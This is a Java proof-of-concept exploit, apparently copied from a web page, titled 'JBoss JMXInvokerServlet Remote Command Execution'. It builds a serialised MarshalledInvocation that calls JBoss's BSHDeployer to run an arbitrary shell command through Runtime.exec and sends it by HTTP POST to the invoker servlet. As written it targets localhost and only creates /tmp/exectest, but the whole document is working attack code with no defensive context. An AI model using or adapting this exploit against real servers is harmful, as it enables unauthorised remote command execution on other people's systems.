import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.ConnectException;
import java.net.HttpURLConnection;
import java.net.URL;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectName;
import org.jboss.invocation.MarshalledInvocation;
public class JMXInvokerServlet {
static final int hash = 647347722;
static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
static final String cmd = "touch /tmp/exectest";
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException {
System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]");
MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);
Object myObj[] = new Object[4];
myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer");
myObj[1] = new String("createScriptDeployment");
myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"};
myObj[3] = new String[]{"java.lang.String", "java.lang.String"};
payload.setArguments(myObj);
System.out.println("\n--[*] MarshalledInvocation object created");
try {
URL server = new URL(url);
HttpURLConnection conn = (HttpURLConnection) server.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setUseCaches(false);
conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2");
conn.setRequestProperty("Connection", "keep-alive");
conn.setRequestProperty("User-Agent", "Java/1.6.0_06");
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate");
conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation");
ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream());
wr.writeObject(payload);
System.out.println("\n--[*] MarshalledInvocation object serialized");
System.out.println("\n--[*] Sending payload...");
wr.flush();
wr.close();
InputStream is = conn.getInputStream();
BufferedReader rd = new BufferedReader(new InputStreamReader(is));
String line;
StringBuffer response = new StringBuffer();
while ((line = rd.readLine()) != null) {
response.append(line);
}
rd.close();
if (response.indexOf("Script Name") != -1) {
System.out.println("\n--[*] \"" + cmd + "\" successfully executed");
} else {
System.out.println("\n--[!] An invocation error occured...");
}
} catch (ConnectException cex) {
System.out.println("\n--[!] A connection error occured...");
} catch (IOException ex) {
ex.printStackTrace();
}
}
static String dump(Object o) {
StringBuffer buffer = new StringBuffer();
Class oClass = o.getClass();
if (oClass.isArray()) {
buffer.append("[");
for (int i = 0; i < Array.getLength(o); i++) {
if (i > 0) {
buffer.append(",\n");
}
Object value = Array.get(o, i);
buffer.append(value.getClass().isArray() ? dump(value) : value);
}
buffer.append("]");
} else {
buffer.append("{");
while (oClass != null) {
Field[] fields = oClass.getDeclaredFields();
for (int i = 0; i
< fields.length; i++) {
if (buffer.length() > 1) {
buffer.append(",\n");
}
fields[i].setAccessible(true);
buffer.append(fields[i].getName());
buffer.append("=");
try {
Object value = fields[i].get(o);
if (value != null) {
buffer.append(value.getClass().isArray() ? dump(value) : value);
}
} catch (IllegalAccessException e) {
}
}
oClass = oClass.getSuperclass();
}
buffer.append("}");
}
return buffer.toString();
}
}
Recommended Comments